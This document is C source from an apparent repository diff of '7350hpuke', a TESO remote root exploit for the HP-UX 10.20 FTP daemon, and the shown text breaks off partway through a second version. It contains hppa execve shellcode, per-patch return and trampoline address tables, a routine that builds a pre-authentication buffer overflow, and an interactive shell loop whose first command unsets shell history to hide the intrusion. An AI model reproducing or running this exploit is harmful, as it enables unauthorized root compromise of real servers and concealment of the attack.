160 { "HP-UX B.10.20 A - 1.7.212.4 PHNE_22057 [2000/09/22 - 2001/06/04] (mirrors: default)",
161 "Version 1.7.212.4 Tue Sep 12 04:33:08 GMT 2000",
162 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
163 25, 0xc0011000 + 0x00116c20, /* libc base + trampo */
164 0x7b03add0 },
165
166 { "HP-UX B.10.20 A - 1.7.212.5 PHNE_23948 [2001/06/04 - now] (mirrors: default)",
167 "Version 1.7.212.5 Wed May 30 12:19:42 GMT 2001",
168 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
169 25, 0xc0011000 + 0x00116c20, /* libc base + trampo */
170 0x7b03add0 },
171
172 { NULL, NULL, 0, 0, 0, 0 },
173};
174
175
176/* FTP related stuff
177 */
178char * dest = "127.0.0.1"; /* can be changed with -d */
179char * ftp_banner = NULL;
180int verbose = 0;
181
182
183/* FTP prototypes
184 */
185void ftp_escape (unsigned char *buf, unsigned long int buflen);
186void ftp_recv_until (int sock, char *buff, int len, char *begin);
187int ftp_login (char *host);
188
189
190/* main prototypes
191 */
192void usage (char *progname);
193void exploit (int fd, tgt_type *tgt);
194void shell (int sock);
195void hexdump (char *desc, unsigned char *data, unsigned int amount);
196
197void tgt_list (void);
198tgt_type * tgt_frombanner (unsigned char *banner);
199
200
201/* imported from network.c
202 */
203#define NET_CONNTIMEOUT 60
204#define NET_READTIMEOUT 20
205int net_conntimeout = NET_CONNTIMEOUT;
206
207unsigned long int net_resolve (char *host);
208int net_connect (struct sockaddr_in *cs, char *server,
209 unsigned short int port, int sec);
210void net_write (int fd, const char *str, ...);
211int net_rtimeout (int fd, int sec);
212int net_rlinet (int fd, char *buf, int bufsize, int sec);
213
214
215int debugmode = 0,
216 autolength = 0;
217
218
219void
220usage (char *progname)
221{
222 fprintf (stderr, "usage: %s [-h] [-v] [-D] <[-l <len>] | -a> [-t <num>] [-d host]\n",
223 progname);
224
225 fprintf (stderr,
226 "-h\tthis help\n"
227 "-v\tbe verbose (default: off, twice for greater effect)\n"
228 "-D\tDEBUG mode (waits for keypresses)\n"
229 "-l len\tresolved hostname length (of this host)\n"
230 "-a\ttry to automatically get the length\n"
231 "-t num\tchoose target (0 for list, try -v or -v -v)\n"
232 "-d dest\tIP address or fqhn to connect to "
233 "(default: 127.0.0.1)\n"
234 "\n");
235
236 exit (EXIT_FAILURE);
237}
238
239int resolv_len = -1;
240unsigned char * shellcode = NULL;
241unsigned long int shellcode_len = 0;
242
243
244int
245main (int argc, char *argv[])
246{
247 char c;
248 char * progname; /* = argv[0] */
249 int fd;
250
251 tgt_type * tgt = NULL;
252 int tgt_num = -1;
253
254 unsigned char rcvbuf[2048];
255
256
257 fprintf (stderr, "7350hpuke - hppa/hpux ftpd remote root "
258 "(version "VERSION")\n"
259 "team teso.\n\n");
260
261 progname = argv[0];
262 if (argc < 2)
263 usage (progname);
264
265
266 while ((c = getopt (argc, argv, "hvDl:at:d:")) != EOF) {
267 switch (c) {
268 case 'h':
269 usage (progname);
270 break;
271 case 'D':
272 debugmode = 1;
273 break;
274 case 'v':
275 verbose += 1;
276 break;
277 case 'l':
278 if (sscanf (optarg, "%u", &resolv_len) != 1)
279 usage (progname);
280 break;
281 case 'a':
282 autolength = 1;
283 break;
284 case 't':
285 if (sscanf (optarg, "%u", &tgt_num) != 1)
286 usage (progname);
287 break;
288 case 'd':
289 dest = optarg;
290 break;
291 default:
292 usage (progname);
293 break;
294 }
295 }
296
297 if (tgt_num == 0 ||
298 tgt_num >= (sizeof (targets) / sizeof (tgt_type)))
299 {
300 if (tgt_num != 0)
301 printf ("WARNING: target out of list. list:\n\n");
302
303 tgt_list ();
304
305 exit (EXIT_SUCCESS);
306 }
307
308 if (autolength == 0 && resolv_len == -1) {
309 fprintf (stderr, "resolv length parameter required, doh!\n");
310 exit (EXIT_FAILURE);
311 } else if (autolength == 0 && resolv_len > 17) {
312 fprintf (stderr, "resolv length too large, this exploitation "
313 "method only supports\nlength below or equal to 17 "
314 "chars\n");
315 exit (EXIT_FAILURE);
316 }
317
318 if (tgt == NULL)
319 tgt = &targets[tgt_num - 1];
320
321
322 printf ("# trying to connect to %s ...", dest);
323 fflush (stdout);
324
325 fd = ftp_login (dest);
326 if (fd <= 0) {
327 fprintf (stderr, "\n### failed to connect\n");
328 exit (EXIT_FAILURE);
329 }
330 printf (" connected.\n");
331
332 if (autolength == 1) {
333 struct sockaddr_in localaddr;
334 struct hostent * hep, he;
335 socklen_t size = sizeof (struct sockaddr_in);
336 int n, h_errno;
337 unsigned char h_buf[8192];
338
339 printf ("# resolving local ip to ...");
340 fflush (stdout);
341
342 if (getsockname (fd, (struct sockaddr *) &localaddr, &size) == -1) {
343 fprintf (stderr, "### failed to get local fqhn\n");
344 exit (EXIT_FAILURE);
345 }
346
347 n = gethostbyaddr_r ((char *) &localaddr.sin_addr,
348 sizeof (struct in_addr), AF_INET, &he, h_buf,
349 sizeof (h_buf), &hep, &h_errno);
350
351 if (hep == NULL) {
352 unsigned char * ipp =
353 (unsigned char *) &localaddr.sin_addr.s_addr;
354 unsigned char dbuf[64];
355
356 fprintf (stderr, "missed name, going for ip\n");
357 snprintf (dbuf, sizeof (dbuf), "%d.%d.%d.%d",
358 ipp[0], ipp[1], ipp[2], ipp[3]);
359 dbuf[sizeof (dbuf) - 1] = '\0';
360
361 printf ("# local host: %s\n", dbuf);
362 resolv_len = strlen (dbuf);
363 } else {
364 printf (" fqhn\n");
365 printf ("# local host: %s\n", he.h_name);
366 resolv_len = strlen (he.h_name);
367 }
368 }
369 printf ("# resolv_len = %d\n", resolv_len);
370
371 if (debugmode) {
372 printf ("### DEBUG: press enter\n");
373 getchar ();
374 }
375
376 printf ("# banner: %s", (ftp_banner == NULL) ? "???" :
377 ftp_banner);
378
379 if (shellcode == NULL) {
380 shellcode = tgt->shellcode;
381 shellcode_len = tgt->shellcode_len;
382 }
383
384
385 if (verbose >= 2) {
386 printf ("using %lu byte shellcode:\n", shellcode_len);
387
388 hexdump ("shellcode", shellcode, shellcode_len);
389 }
390
391 printf ("\n### TARGET: %s\n\n", tgt->desc);
392
393 /* real stuff starts from here
394 */
395 printf ("# 1. sending preparation commands\n");
396 net_write (fd, "SITE 73507350735073507350735073507350"
397 "735073507350735073507350\n");
398 ftp_recv_until (fd, rcvbuf, sizeof (rcvbuf), "500 ");
399 exploit (fd, tgt);
400
401 printf ("# trying to spawn shell\n");
402 printf ("##################################################"
403 "##########################\n");
404
405 write (fd, INIT_CMD, strlen (INIT_CMD));
406 shell (fd);
407
408 exit (EXIT_SUCCESS);
409}
410
411
412void
413exploit (int fd, tgt_type *tgt)
414{
415 int n,
416 padnop,
417 pad;
418 unsigned char * xpw;
419 unsigned char xpbuf[1024 + 256]; /* + NETSLOP ;-) */
420
421
422 memset (xpbuf, '\0', sizeof (xpbuf));
423
424 pad = 17 - resolv_len;
425 for (xpw = xpbuf, n = 0 ; pad > 0 ; --pad)
426 *xpw++ = "7350"[n++ % 4];
427
428 /* now the second return address (at %sp - 0x18) for thunking
429 */
430 *xpw++ = (tgt->retaddr2 & 0xff000000) >> 24;
431 *xpw++ = (tgt->retaddr2 & 0x00ff0000) >> 16;
432 *xpw++ = (tgt->retaddr2 & 0x0000ff00) >> 8;
433 *xpw++ = (tgt->retaddr2 & 0x000000ff);
434
435 /* directly after it, *tada*, the first return address to the space
436 * redirection stub
437 */
438 *xpw++ = (tgt->retaddr1 & 0xff000000) >> 24;
439 *xpw++ = (tgt->retaddr1 & 0x00ff0000) >> 16;
440 *xpw++ = (tgt->retaddr1 & 0x0000ff00) >> 8;
441 *xpw++ = (tgt->retaddr1 & 0x000000ff);
442
443
444 /* XXX: might be different on other binaries */
445 strcat (xpbuf, "A"); /* padding */
446 if (verbose)
447 printf ("n = strlen (xpbuf) = %d\n", strlen (xpbuf));
448
449 /* nopspace + shellcode
450 */
451 padnop = 990 + tgt->cpad - resolv_len - strlen (xpbuf);
452 padnop &= ~0x3; /* pad down to 4 byte boundary */
453
454 for (n = 0, xpw = xpbuf + strlen (xpbuf) ;
455 n < padnop ; ++n)
456 {
457 *xpw++ = hppa_nop[n % 4];
458 }
459 if (verbose)
460 printf ("n = %d, n %% 4 = %d\n", n, n % 4);
461
462 memcpy (xpw - tgt->shellcode_len - 8, tgt->shellcode, tgt->shellcode_len);
463 xpw += strlen (xpw);
464 printf ("strlen (xpbuf) = %d\n", strlen (xpbuf));
465
466 *xpw++ = '\n';
467
468 ftp_escape (xpbuf, sizeof (xpbuf));
469 net_write (fd, "%s", xpbuf);
470
471 return;
472}
473
474
475/* tgt_list
476 *
477 * give target list
478 */
479
480void
481tgt_list (void)
482{
483 int tgt_num;
484
485
486 printf ("num . description\n");
487 printf ("----+-----------------------------------------------"
488 "--------\n");
489
490 for (tgt_num = 0 ; targets[tgt_num].desc != NULL ; ++tgt_num) {
491 printf ("%3d | %s\n", tgt_num + 1, targets[tgt_num].desc);
492
493 if (verbose)
494 printf (" : %s\n", targets[tgt_num].banner);
495 if (verbose >= 2)
496 printf (" : retaddr1: 0x%08lx "
497 "retaddr2: 0x%08lx\n",
498 targets[tgt_num].retaddr1,
499 targets[tgt_num].retaddr2);
500 }
501 printf (" '\n");
502
503 return;
504}
505
506
507void
508shell (int sock)
509{
510 int l;
511 char buf[512];
512 fd_set rfds;
513
514
515 while (1) {
516 FD_SET (0, &rfds);
517 FD_SET (sock, &rfds);
518
519 select (sock + 1, &rfds, NULL, NULL, NULL);
520 if (FD_ISSET (0, &rfds)) {
521 l = read (0, buf, sizeof (buf));
522 if (l <= 0) {
523 perror ("read user");
524 exit (EXIT_FAILURE);
525 }
526 write (sock, buf, l);
527 }
528
529 if (FD_ISSET (sock, &rfds)) {
530 l = read (sock, buf, sizeof (buf));
531 if (l == 0) {
532 printf ("connection closed by foreign host.\n");
533 exit (EXIT_FAILURE);
534 } else if (l < 0) {
535 perror ("read remote");
536 exit (EXIT_FAILURE);
537 }
538 write (1, buf, l);
539 }
540 }
541}
542
543
544/*** FTP functions
545 */
546
547/* FTP is TELNET is SHIT.
548 */
549
550void
551ftp_escape (unsigned char *buf, unsigned long int buflen)
552{
553 unsigned char * obuf = buf;
554
555
556 for ( ; *buf != '\0' ; ++buf) {
557 if (*buf == 0xff &&
558 (((buf - obuf) + strlen (buf) + 1) < buflen))
559 {
560 memmove (buf + 1, buf, strlen (buf) + 1);
561 buf += 1;
562 }
563 }
564}
565
566
567void
568ftp_recv_until (int sock, char *buff, int len, char *begin)
569{
570 char dbuff[2048];
571
572
573 if (buff == NULL) {
574 buff = dbuff;
575 len = sizeof (dbuff);
576 }
577
578 do {
579 memset (buff, '\x00', len);
580 if (net_rlinet (sock, buff, len - 1, 20) <= 0)
581 return;
582 } while (memcmp (buff, begin, strlen (begin)) != 0);
583
584 return;
585}
586
587
588int
589ftp_login (char *host)
590{
591 int ftpsock;
592 char resp[512];
593
594
595 ftpsock = net_connect (NULL, host, 21, 30);
596 if (ftpsock <= 0)
597 return (0);
598
599 memset (resp, '\x00', sizeof (resp));
600 if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
601 goto flerr;
602
603 /* handle multiline pre-login stuff (rfc violation !)
604 */
605 if (memcmp (resp, "220-", 4) == 0)
606 ftp_recv_until (ftpsock, resp, sizeof (resp), "220 ");
607
608 if (memcmp (resp, "220 ", 4) != 0) {
609 if (verbose)
610 printf ("\n%s\n", resp);
611 goto flerr;
612 }
613 ftp_banner = strdup (resp);
614
615 /* do not login really, this is 100% pre-auth
616 */
617 return (ftpsock);
618
619flerr:
620 if (ftpsock > 0)
621 close (ftpsock);
622
623 return (0);
624}
625
626
627/* ripped from zodiac */
628void
629hexdump (char *desc, unsigned char *data, unsigned int amount)
630{
631 unsigned int dp, p; /* data pointer */
632 const char trans[] =
633 "................................ !\"#$%&'()*+,-./0123456789"
634 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
635 "nopqrstuvwxyz{|}~...................................."
636 "....................................................."
637 "........................................";
638
639
640 printf ("/* %s, %u bytes */\n", desc, amount);
641
642 for (dp = 1; dp <= amount; dp++) {
643 fprintf (stderr, "%02x ", data[dp-1]);
644 if ((dp % 8) == 0)
645 fprintf (stderr, " ");
646 if ((dp % 16) == 0) {
647 fprintf (stderr, "| ");
648 p = dp;
649 for (dp -= 16; dp < p; dp++)
650 fprintf (stderr, "%c", trans[data[dp]]);
651 fflush (stderr);
652 fprintf (stderr, "\n");
653 }
654 fflush (stderr);
655 }
656 if ((amount % 16) != 0) {
657 p = dp = 16 - (amount % 16);
658 for (dp = p; dp > 0; dp--) {
659 fprintf (stderr, " ");
660 if (((dp % 8) == 0) && (p != 8))
661 fprintf (stderr, " ");
662 fflush (stderr);
663 }
664 fprintf (stderr, " | ");
665 for (dp = (amount - (16 - p)); dp < amount; dp++)
666 fprintf (stderr, "%c", trans[data[dp]]);
667 fflush (stderr);
668 }
669 fprintf (stderr, "\n");
670
671 return;
672}
673
674
675
676unsigned long int
677net_resolve (char *host)
678{
679 long i;
680 struct hostent *he;
681
682 i = inet_addr(host);
683 if (i == -1) {
684 he = gethostbyname(host);
685 if (he == NULL) {
686 return (0);
687 } else {
688 return (*(unsigned long *) he->h_addr);
689 }
690 }
691 return (i);
692}
693
694
695int
696net_connect (struct sockaddr_in *cs, char *server,
697 unsigned short int port, int sec)
698{
699 int n,
700 len,
701 error,
702 flags;
703 int fd;
704 struct timeval tv;
705 fd_set rset, wset;
706 struct sockaddr_in csa;
707
708 if (cs == NULL)
709 cs = &csa;
710
711 /* first allocate a socket */
712 cs->sin_family = AF_INET;
713 cs->sin_port = htons (port);
714 fd = socket (cs->sin_family, SOCK_STREAM, 0);
715 if (fd == -1)
716 return (-1);
717
718 if (!(cs->sin_addr.s_addr = net_resolve (server))) {
719 close (fd);
720 return (-1);
721 }
722
723 flags = fcntl (fd, F_GETFL, 0);
724 if (flags == -1) {
725 close (fd);
726 return (-1);
727 }
728 n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
729 if (n == -1) {
730 close (fd);
731 return (-1);
732 }
733
734 error = 0;
735
736 n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
737 if (n < 0) {
738 if (errno != EINPROGRESS) {
739 close (fd);
740 return (-1);
741 }
742 }
743 if (n == 0)
744 goto done;
745
746 FD_ZERO(&rset);
747 FD_ZERO(&wset);
748 FD_SET(fd, &rset);
749 FD_SET(fd, &wset);
750 tv.tv_sec = sec;
751 tv.tv_usec = 0;
752
753 n = select(fd + 1, &rset, &wset, NULL, &tv);
754 if (n == 0) {
755 close(fd);
756 errno = ETIMEDOUT;
757 return (-1);
758 }
759 if (n == -1)
760 return (-1);
761
762 if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
763 if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
764 len = sizeof(error);
765 if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
766 errno = ETIMEDOUT;
767 return (-1);
768 }
769 if (error == 0) {
770 goto done;
771 } else {
772 errno = error;
773 return (-1);
774 }
775 }
776 } else
777 return (-1);
778
779done:
780 n = fcntl(fd, F_SETFL, flags);
781 if (n == -1)
782 return (-1);
783 return (fd);
784}
785
786
787void
788net_write (int fd, const char *str, ...)
789{
790 char tmp[1025];
791 va_list vl;
792 int i;
793
794 va_start(vl, str);
795 memset(tmp, 0, sizeof(tmp));
796 i = vsnprintf(tmp, sizeof(tmp), str, vl);
797 va_end(vl);
798
799#ifdef DEBUG
800 printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n");
801#endif
802
803 send(fd, tmp, i, 0);
804 return;
805}
806
807
808int
809net_rlinet (int fd, char *buf, int bufsize, int sec)
810{
811 int n;
812 unsigned long int rb = 0;
813 struct timeval tv_start, tv_cur;
814
815 memset(buf, '\0', bufsize);
816 (void) gettimeofday(&tv_start, NULL);
817
818 do {
819 (void) gettimeofday(&tv_cur, NULL);
820 if (sec > 0) {
821 if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) -
822 ((tv_start.tv_sec * 1000000) +
823 (tv_start.tv_usec))) > (sec * 1000000))
824 {
825 return (-1);
826 }
827 }
828 n = net_rtimeout(fd, NET_READTIMEOUT);
829 if (n <= 0) {
830 return (-1);
831 }
832 n = read(fd, buf, 1);
833 if (n <= 0) {
834 return (n);
835 }
836 rb++;
837 if (*buf == '\n')
838 return (rb);
839 buf++;
840 if (rb >= bufsize)
841 return (-2); /* buffer full */
842 } while (1);
843}
844
845
846int
847net_rtimeout (int fd, int sec)
848{
849 fd_set rset;
850 struct timeval tv;
851 int n, error, flags;
852
853
854 error = 0;
855 flags = fcntl(fd, F_GETFL, 0);
856 n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
857 if (n == -1)
858 return (-1);
859
860 FD_ZERO(&rset);
861 FD_SET(fd, &rset);
862 tv.tv_sec = sec;
863 tv.tv_usec = 0;
864
865 /* now we wait until more data is received then the tcp low level
866 * watermark, which should be setted to 1 in this case (1 is default)
867 */
868 n = select(fd + 1, &rset, NULL, NULL, &tv);
869 if (n == 0) {
870 n = fcntl(fd, F_SETFL, flags);
871 if (n == -1)
872 return (-1);
873 errno = ETIMEDOUT;
874 return (-1);
875 }
876 if (n == -1) {
877 return (-1);
878 }
879 /* socket readable ? */
880 if (FD_ISSET(fd, &rset)) {
881 n = fcntl(fd, F_SETFL, flags);
882 if (n == -1)
883 return (-1);
884 return (1);
885 } else {
886 n = fcntl(fd, F_SETFL, flags);
887 if (n == -1)
888 return (-1);
889 errno = ETIMEDOUT;
890 return (-1);
891 }
892}
893
894
diff --git a/exploits/7350hpuke/backup/7350hpuke-0.4.0.c b/exploits/7350hpuke/backup/7350hpuke-0.4.0.c
new file mode 100644
index 0000000..4f959b8
--- /dev/null
+++ b/exploits/7350hpuke/backup/7350hpuke-0.4.0.c
@@ -0,0 +1,1214 @@
1/* 7350hpuke - hppa/hpux ftpd remote root exploit
2 *
3 * TESO CONFIDENTIAL - SOURCE MATERIALS
4 *
5 * This is unpublished proprietary source code of TESO Security.
6 *
7 * The contents of these coded instructions, statements and computer
8 * programs may not be disclosed to third parties, copied or duplicated in
9 * any form, in whole or in part, without the prior written permission of
10 * TESO Security. This includes especially the Bugtraq mailing list, the
11 * www.hack.co.za website and any public exploit archive.
12 *
13 * The distribution restrictions cover the entire file, including this
14 * header notice. (This means, you are not allowed to reproduce the header).
15 *
16 * (C) COPYRIGHT TESO Security, 2002
17 * All Rights Reserved
18 *
19 *****************************************************************************
20 * 2002/02/10 -
21 *
22 * hints
23 *
24 * - to test for the vulnerability, just use "-l 1 -t 1" and see if the remote
25 * process dumps core (to /core)
26 * - the exploit is sensitive to what the local ip resolves to. only fqhn up
27 * to 17 characters will allow this exploitation method to work
28 */
29
30#define VERSION "0.4.0"
31
32#include <sys/types.h>
33#include <sys/time.h>
34#include <sys/socket.h>
35#include <netinet/in.h>
36#include <arpa/inet.h>
37#include <arpa/telnet.h>
38#include <netdb.h>
39#include <errno.h>
40#include <fcntl.h>
41#include <unistd.h>
42#include <stdio.h>
43#include <stdlib.h>
44#include <stdarg.h>
45#include <string.h>
46#include <time.h>
47
48
49#define INIT_CMD "unset HISTFILE;id;uname -a;\n"
50#define AUTO_CMD "echo \"sP\"\"sP\";\n"
51
52
53typedef struct {
54 char * desc; /* distribution */
55 char * banner; /* ftp banner part */
56 unsigned char * shellcode;
57 unsigned int shellcode_len;
58
59 unsigned int cpad; /* padding in the xp cmd */
60 unsigned long int codeaddr; /* return address to code */
61} tgt_type;
62
63
64typedef struct {
65 char * patchset;
66 unsigned long int addr;
67} trampo_type;
68
69
70typedef struct {
71 char * desc;
72 tgt_type * tgt;
73 trampo_type * tgt_trampo;
74 unsigned long int trampo_low; /* brute force boundaries */
75 unsigned long int trampo_high;
76} mtgt_type;
77
78/* shellcode
79 */
80
81unsigned char hppa_nop[] =
82 "\x0b\x39\x02\x99"; /* xor %r25,%r25,%r25 */
83
84/* 48 byte hppa/hpux pic execve -sc
85 */
86unsigned char hppa_hpux_execve[] =
87 "\xeb\x5f\x1f\xfd\xb4\x16\x70\x76\xb7\x5a\x40\x3a"
88 "\x0f\xc0\x12\x88\x0f\xda\x12\x80\x0b\xc0\x02\x99"
89 "\x0b\x18\x02\x98\x22\xa0\x08\x01\xe6\xa0\xe0\x08"
90 "\x0f\x40\x12\x0e\x2f\x62\x69\x6e\x2f\x73\x68\x41";
91
92/* addresses of one of the standard inter-space stubs within the libc.
93 * jumps to [$sp - 0x18].
94 *
95 * 0xc0011000 is the base address of libc within the ftpd process,
96 * the relative offset it the address within libc (as IDA shows it)
97 *
98 * XXX: all trampos seem to be aligned on & 0xfffffff8 boundaries, and
99 * in a relative range 0x0000 to 0x1000. that makes a nice brute
100 * force attack in less than circa 400 tries.
101 *
102 * this list does not make stuff exploitable the brute force mode would
103 * not catch, but it speeds things up for most cases.
104 */
105trampo_type hpux_1020_trampolines[] = {
106 { "HP-UX 10.20 default [1996/10/11]", 0xc0011000 + 0x00116c20 },
107/* XXX { "HP-UX 10.20 PHCO_8108 missing", 0x0 }, */
108 { "HP-UX 10.20 PHCO_8764 [1996/10/11]", 0xc0011000 + 0x00116fd8 },
109 { "HP-UX 10.20 PHCO_8979 [1996/12/10]", 0xc0011000 + 0x00116c48 },
110 { "HP-UX 10.20 PHCO_9577 [1997/01/13]", 0xc0011000 + 0x00116c48 },
111 { "HP-UX 10.20 PHCO_10027 [1997/02/18]", 0xc0011000 + 0x00116d58 },
112 { "HP-UX 10.20 PHCO_11004 [1997/05/15]", 0xc0011000 + 0x00116e58 },
113 { "HP-UX 10.20 PHCO_11315 [1997/06/12]", 0xc0011000 + 0x00116e08 },
114 { "HP-UX 10.20 PHCO_12128 [1997/08/22]", 0xc0011000 + 0x00116d40 },
115 { "HP-UX 10.20 PHCO_12448 [1997/09/12]", 0xc0011000 + 0x00116c20 },
116 { "HP-UX 10.20 PHCO_12673 [1997/10/02]", 0xc0011000 + 0x00116c50 },
117 { "HP-UX 10.20 PHCO_13029 [1997/11/10]", 0xc0011000 + 0x00116da8 },
118/* XXX { "HP-UX 10.20 PHCO_13189 missing", 0x0 }, */
119 { "HP-UX 10.20 PHCO_13282 [1997/12/05]", 0xc0011000 + 0x00116da8 },
120 { "HP-UX 10.20 PHCO_13399 [1997/12/05]", 0xc0011000 + 0x00116c48 },
121 { "HP-UX 10.20 PHCO_13626 [1998/01/02]", 0xc0011000 + 0x00116f50 },
122 { "HP-UX 10.20 PHCO_13775 [1998/03/27]", 0xc0011000 + 0x00116da0 },
123 { "HP-UX 10.20 PHCO_13777 [1998/02/05]", 0xc0011000 + 0x00116de0 },
124 { "HP-UX 10.20 PHCO_14199 [1998/02/17]", 0xc0011000 + 0x00116d08 },
125 { "HP-UX 10.20 PHCO_14511 [1998/03/20]", 0xc0011000 + 0x00116ce0 },
126 { "HP-UX 10.20 PHCO_14868 [1998/04/28]", 0xc0011000 + 0x00116d48 },
127 { "HP-UX 10.20 PHCO_14891 [1998/05/04]", 0xc0011000 + 0x00116d08 },
128 { "HP-UX 10.20 PHCO_15153 [1998/06/04]", 0xc0011000 + 0x00116da8 },
129 { "HP-UX 10.20 PHCO_15465 [1998/06/04]", 0xc0011000 + 0x00116e18 },
130 { "HP-UX 10.20 PHCO_15807 [1998/08/18]", 0xc0011000 + 0x00116c18 },
131 { "HP-UX 10.20 PHCO_15808 [1998/08/21]", 0xc0011000 + 0x00117048 },
132 { "HP-UX 10.20 PHCO_16302 [1998/09/25]", 0xc0011000 + 0x00116ff8 },
133 { "HP-UX 10.20 PHCO_16303 [1998/09/25]", 0xc0011000 + 0x00117090 },
134 { "HP-UX 10.20 PHCO_16723 [1999/01/26]", 0xc0011000 + 0x00116c68 },
135 { "HP-UX 10.20 PHCO_17381 [1999/03/17]", 0xc0011000 + 0x00116c08 },
136 { "HP-UX 10.20 PHCO_20098 [1999/10/28]", 0xc0011000 + 0x00117598 },
137 { "HP-UX 10.20 PHCO_20441 [1999/11/22]", 0xc0011000 + 0x00117658 },
138 { "HP-UX 10.20 PHCO_22448 [2000/11/10]", 0xc0011000 + 0x001175b8 },
139 { "HP-UX 10.20 PHCO_22924 [2001/01/29]", 0xc0011000 + 0x001175c8 },
140 { "HP-UX 10.20 PHCO_23684 [2001/05/18]", 0xc0011000 + 0x00117698 },
141 { "HP-UX 10.20 PHCO_25640 [2002/01/08]", 0xc0011000 + 0x001176f8 },
142
143 { NULL, 0x0 },
144};
145
146/* i am not that sure that this method of exploitation will work on other
147 * hpux systems. the vulnerability is itself very weird. i see what fails
148 * where and how it goes wrong, but i am unable to see why. there is
149 * boundary checking prior to the overflow, its difficult to reproduce
150 * logically and generally "weird". i like it.
151 */
152tgt_type hpux_1020_targets[] = {
153 { "DEBUG TARGET",
154 "DEBUG",
155 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
156 25, 0x42424242 },
157
158 /* real targets
159 */
160 { "HP-UX B.10.20 A - 1.7.212.1 default [1996/05/09 - 1997/01/26]",
161 "Version 1.7.212.1 Thu May 9 21:10:27 GMT 1996",
162 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
163 25, 0x7b03add0 },
164
165 { "HP-UX B.10.20 A - 1.7.212.1 PHNE_9785 [1997/01/26 - 1997/02/07]",
166 "Version 1.7.212.1 Mon Jan 13 23:52:32 GMT 1997",
167 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
168 25, 0x7b03add0 },
169
170 { "HP-UX B.10.20 A - 1.7.212.1 PHNE_10010 [1997/02/07 - 1998/04/28]",
171 "Version 1.7.212.1 Sat Feb 1 01:30:15 GMT 1997",
172 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
173 25, 0x7b03add0 },
174
175 { "HP-UX B.10.20 A - 1.7.212.2 PHNE_13597 [1998/04/28 - 1999/07/26]",
176 "Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998",
177 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
178 25, 0x7b03add0 },
179
180 { "HP-UX B.10.20 A - 1.7.212.3 PHNE_17963 [1999/07/26 - 2000/09/22]",
181 "Version 1.7.212.3 Wed Jul 14 10:24:05 GMT 1999",
182 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
183 25, 0x7b03add0 },
184
185 { "HP-UX B.10.20 A - 1.7.212.4 PHNE_22057 [2000/09/22 - 2001/06/04]",
186 "Version 1.7.212.4 Tue Sep 12 04:33:08 GMT 2000",
187 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
188 25, 0x7b03add0 },
189
190 { "HP-UX B.10.20 A - 1.7.212.5 PHNE_23948 [2001/06/04 - now]",
191 "Version 1.7.212.5 Wed May 30 12:19:42 GMT 2001",
192 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
193 25, 0x7b03add0 },
194
195 { NULL, NULL, 0, 0, 0, 0 },
196};
197
198mtgt_type mtargets[] = {
199 { "HP-UX 10.20 1.7.212.[1-5] [1996/05/09 - now]",
200 hpux_1020_targets,
201 hpux_1020_trampolines,
202 /* we choose +4 addresses so we dont have to cope with
203 * NUL bytes in the lsb. smart force in +8 steps.
204 */
205 0xc0011000 + 0x00116c24, 0xc0011000 + 0x00117904 },
206
207 { NULL, NULL, NULL },
208};
209
210/* FTP related stuff
211 */
212char * dest = "127.0.0.1"; /* can be changed with -d */
213char * ftp_banner = NULL;
214int verbose = 0;
215
216
217/* FTP prototypes
218 */
219void ftp_escape (unsigned char *buf, unsigned long int buflen);
220void ftp_recv_until (int sock, char *buff, int len, char *begin);
221int ftp_login (char *host);
222
223
224/* main prototypes
225 */
226void usage (char *progname);
227void exploit (int fd, tgt_type *tgt, unsigned long int trampo);
228int exploit_try (tgt_type *tgt, unsigned long int taddr, int connected);
229void shell (int sock);
230void hexdump (char *desc, unsigned char *data, unsigned int amount);
231unsigned char * binstrstr (unsigned char *binary, unsigned int bin_len,
232 unsigned char *str);
233
234tgt_type * tgt_frombanner (tgt_type *tgtl, unsigned char *banner);
235int taddr_tested (trampo_type *tramps, int num, unsigned long int taddr);
236void mtgt_list (mtgt_type *mtgt);
237void tgt_list (tgt_type *tgt);
238
239
240/* imported from network.c
241 */
242#define NET_CONNTIMEOUT 60
243#define NET_READTIMEOUT 20
244int net_conntimeout = NET_CONNTIMEOUT;
245
246unsigned long int net_resolve (char *host);
247int net_connect (struct sockaddr_in *cs, char *server,
248 unsigned short int port, int sec);
249void net_write (int fd, const char *str, ...);
250int net_rtimeout (int fd, int sec);
251int net_rlinet (int fd, char *buf, int bufsize, int sec);
252
253
254int debugmode = 0,
255 autolength = 0;
256
257unsigned long int trampo_manual = 0x0;
258
259void
260usage (char *progname)
261{
262 fprintf (stderr, "usage: %s [-h] [-v] [-D] <[-l <len>] | -a> "
263 "<-m <num> [-t <num>]> [-L 0xa] [-d host]\n\n", progname);
264
265 fprintf (stderr,
266 "-h\tthis help\n"
267 "-v\tbe verbose (default: off, twice for greater effect)\n"
268 "-D\tDEBUG mode (waits for keypresses)\n"
269 "-l len\tresolved hostname length (of this host)\n"
270 "-a\ttry to automatically get the length (default)\n"
271 "-m num\tchoose meta-target (0 for list)\n"
272 "-t num\tchoose target (0 for list, try -v or -v -v)\n"
273 "-L 0xa\tgive trampoline address manually (default: auto)\n"
274 "-d dest\tIP address or fqhn to connect to "
275 "(default: 127.0.0.1)\n"
276 "\n");
277
278 exit (EXIT_FAILURE);
279}
280
281int resolv_len = -1;
282unsigned char * shellcode = NULL;
283unsigned long int shellcode_len = 0;
284
285
286int
